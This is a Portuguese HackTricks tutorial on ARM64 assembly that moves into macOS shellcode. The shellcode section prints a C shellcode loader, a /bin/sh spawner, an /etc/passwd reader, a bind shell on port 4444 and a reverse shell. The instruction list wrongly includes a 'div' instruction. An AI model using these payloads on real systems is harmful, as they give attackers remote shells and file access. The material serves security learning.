hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

Introdução ao ARM64

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
• Descubra The PEASS Family, nossa coleção exclusiva de NFTs
• Adquira o swag oficial do PEASS & HackTricks
• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
• Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.

Introdução ao ARM64

ARM64, também conhecido como ARMv8-A, é uma arquitetura de processador de 64 bits usada em vários tipos de dispositivos, incluindo smartphones, tablets, servidores e até mesmo alguns computadores pessoais de alta qualidade (macOS). É um produto da ARM Holdings, uma empresa conhecida por seus designs de processadores eficientes em energia.

Registradores

O ARM64 possui 31 registradores de propósito geral, rotulados de x0 a x30. Cada um pode armazenar um valor de 64 bits (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.

1. x0 a x7 - Geralmente são usados como registradores temporários e para passar parâmetros para sub-rotinas.

• x0 também carrega os dados de retorno de uma função.

2. x8 - No kernel do Linux, x8 é usado como o número de chamada do sistema para a instrução svc. No macOS, o x16 é o usado!
3. x9 a x15 - Mais registradores temporários, frequentemente usados para variáveis locais.
4. x16 e x17 - Registradores temporários, também usados para chamadas de função indiretas e stubs da PLT (Procedure Linkage Table).

• x16 é usado como o número de chamada do sistema para a instrução svc.

5. x18 - Registrador de plataforma. Em algumas plataformas, este registrador é reservado para usos específicos da plataforma.
6. x19 a x28 - São registradores preservados pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador.
7. x29 - Ponteiro de quadro.
8. x30 - Registrador de link. Ele armazena o endereço de retorno quando uma instrução BL (Branch with Link) ou BLR (Branch with Link to Register) é executada.
9. sp - Ponteiro de pilha, usado para acompanhar o topo da pilha.
10. pc - Contador de programa, que aponta para a próxima instrução a ser executada.

Convenção de Chamada

A convenção de chamada do ARM64 especifica que os oito primeiros parâmetros de uma função são passados nos registradores x0 a x7. Parâmetros adicionais são passados na pilha. O valor de retorno é passado de volta no registrador x0, ou também em x1 se tiver 128 bits. Os registradores x19 a x30 e sp devem ser preservados entre chamadas de função.

Ao ler uma função em assembly, procure pelo prólogo e epílogo da função. O prólogo geralmente envolve salvar o ponteiro de quadro (x29), configurar um novo ponteiro de quadro e alocar espaço na pilha. O epílogo geralmente envolve restaurar o ponteiro de quadro salvo e retornar da função.

Instruções Comuns

As instruções do ARM64 geralmente têm o formato opcode dst, src1, src2, onde opcode é a operação a ser realizada (como add, sub, mov, etc.), dst é o registrador de destino onde o resultado será armazenado, e src1 e src2 são os registradores de origem. Valores imediatos também podem ser usados no lugar dos registradores de origem.

• mov: Move um valor de um registrador para outro.
• Exemplo: mov x0, x1 — Isso move o valor de x1 para x0.
• ldr: Carrega um valor da memória para um registrador.
• Exemplo: ldr x0, [x1] — Isso carrega um valor da localização de memória apontada por x1 para x0.
• str: Armazena um valor de um registrador na memória.
• Exemplo: str x0, [x1] — Isso armazena o valor em x0 na localização de memória apontada por x1.
• ldp: Carrega Par de Registradores. Esta instrução carrega dois registradores de locações de memória consecutivas. O endereço de memória é normalmente formado pela adição de um deslocamento ao valor em outro registrador.
• Exemplo: ldp x0, x1, [x2] — Isso carrega x0 e x1 das localizações de memória em x2 e x2 + 8, respectivamente.
• stp: Armazena Par de Registradores. Esta instrução armazena dois registradores em locações de memória consecutivas. O endereço de memória é normalmente formado pela adição de um deslocamento ao valor em outro registrador.
• Exemplo: stp x0, x1, [x2] — Isso armazena x0 e x1 nas localizações de memória em x2 e x2 + 8, respectivamente.
• add: Adiciona os valores de dois registradores e armazena o resultado em um registrador.
• Exemplo: add x0, x1, x2 — Isso adiciona os valores em x1 e x2 juntos e armazena o resultado em x0.
• sub: Subtrai os valores de dois registradores e armazena o resultado em um registrador.
• Exemplo: sub x0, x1, x2 — Isso subtrai o valor em x2 de x1 e armazena o resultado em x0.
• mul: Multiplica os valores de dois registradores e armazena o resultado em um registrador.
• Exemplo: mul x0, x1, x2 — Isso multiplica os valores em x1 e x2 e armazena o resultado em x0.
• div: Divide o valor de um registrador por outro e armazena o resultado em um registrador.
• Exemplo: div x0, x1, x2 — Isso divide o valor em x1 por x2 e armazena o resultado em x0.
• bl: Branch with link, usado para chamar uma sub-rotina. Armazena o endereço de retorno em x30.
• Exemplo: bl myFunction — Isso chama a função myFunction e armazena o endereço de retorno em x30.
• blr: Branch with Link to Register, usado para chamar uma sub-rotina onde o destino é especificado em um registrador. Armazena o endereço de retorno em x30.
• Exemplo: blr x1 — Isso chama a função cujo endereço está contido em x1 e armazena o endereço de retorno em x30.
• ret: Retorna da sub-rotina, normalmente usando o endereço em x30.
• Exemplo: ret — Isso retorna da sub-rotina atual usando o endereço de retorno em x30.
• cmp: Compara dois registradores e define as flags de condição.
• Exemplo: cmp x0, x1 — Isso compara os valores em x0 e x1 e define as flags de condição de acordo.
• b.eq: Branch if equal, baseado na instrução cmp anterior.
• Exemplo: b.eq label — Se a instrução cmp anterior encontrou dois valores iguais, isso salta para label.
• b.ne: Branch if Not Equal. Essa instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior) e, se os valores comparados não forem iguais, salta para um rótulo ou endereço.
• Exemplo: Após uma instrução cmp x0, x1, b.ne label — Se os valores em x0 e x1 não forem iguais, isso salta para label.
• cbz: Compare and Branch on Zero. Essa instrução compara um registrador com zero e, se forem iguais, salta para um rótulo ou endereço.
• Exemplo: cbz x0, label — Se o valor em x0 for zero, isso salta para label.
• cbnz: Compare and Branch on Non-Zero. Essa instrução compara um registrador com zero e, se não forem iguais, salta para um rótulo ou endereço.
• Exemplo: cbnz x0, label — Se o valor em x0 for diferente de zero, isso salta para label.
• adrp: Calcula o endereço da página de um símbolo e armazena-o em um registrador.
• Exemplo: adrp x0, symbol — Isso calcula o endereço da página de symbol e o armazena em x0.
• ldrsw: Carrega um valor 32 bits assinado da memória e o estende para 64 bits.
• Exemplo: ldrsw x0, [x1] — Isso carrega um valor assinado de 32 bits da localização de memória apontada por x1, estende-o para 64 bits e o armazena em x0.
• stur: Armazena um valor de registrador em uma localização de memória, usando um deslocamento de outro registrador.
• Exemplo: stur x0, [x1, #4] — Isso armazena o valor em x0 na localização de memória que está 4 bytes acima do endereço atual em x1.
• svc : Faz uma chamada de sistema. Significa "Supervisor Call". Quando o processador executa essa instrução, ele muda do modo usuário para o modo kernel e salta para um local específico na memória onde o código de tratamento de chamada de sistema do kernel está localizado.
• Exemplo:

mov x8, 93  ; Carrega o número de chamada de sistema para exit (93) no registrador x8.
mov x0, 0   ; Carrega o código de status de saída (0) no registrador x0.
svc 0       ; Faz a chamada de sistema.

Prólogo da Função

1. Salva o registrador de link e o ponteiro de quadro na pilha:

{% code overflow="wrap" %}

stp x29, x30, [sp, #-16]!  ; armazena o par x29 e x30 na pilha e decrementa o ponteiro de pilha

{% endcode %} 2. Configura o novo ponteiro de quadro: mov x29, sp (configura o novo ponteiro de quadro para a função atual) 3. Aloca espaço na pilha para variáveis locais (se necessário): sub sp, sp, <size> (onde <size> é o número de bytes necessário)

Epílogo da Função

1. Desaloca variáveis locais (se alguma foi alocada): add sp, sp, <size>
2. Restaura o registrador de link e o ponteiro de quadro:

{% code overflow="wrap" %}

ldp x29, x30, [sp], #16  ; carrega o par x29 e x30 da pilha e incrementa o ponteiro de pilha

{% endcode %} 3. Retorna: ret (retorna o controle ao chamador usando o endereço no registrador de link)

macOS

syscalls

Confira syscalls.master.

Shellcodes

Para compilar:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Para extrair os bytes:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Código C para testar o shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Retirado [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.

{% tabs %}
{% tab title="com adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% tab title="com pilha" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% endtab %} {% endtabs %}

Ler com cat

O objetivo é executar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha de endereços).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Invocar comando com sh a partir de um fork para que o processo principal não seja encerrado

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Shell de Bind

Shell de Bind de https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na porta 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Shell reverso

De https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell para 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Adquira o swag oficial do PEASS & HackTricks
• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
• Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.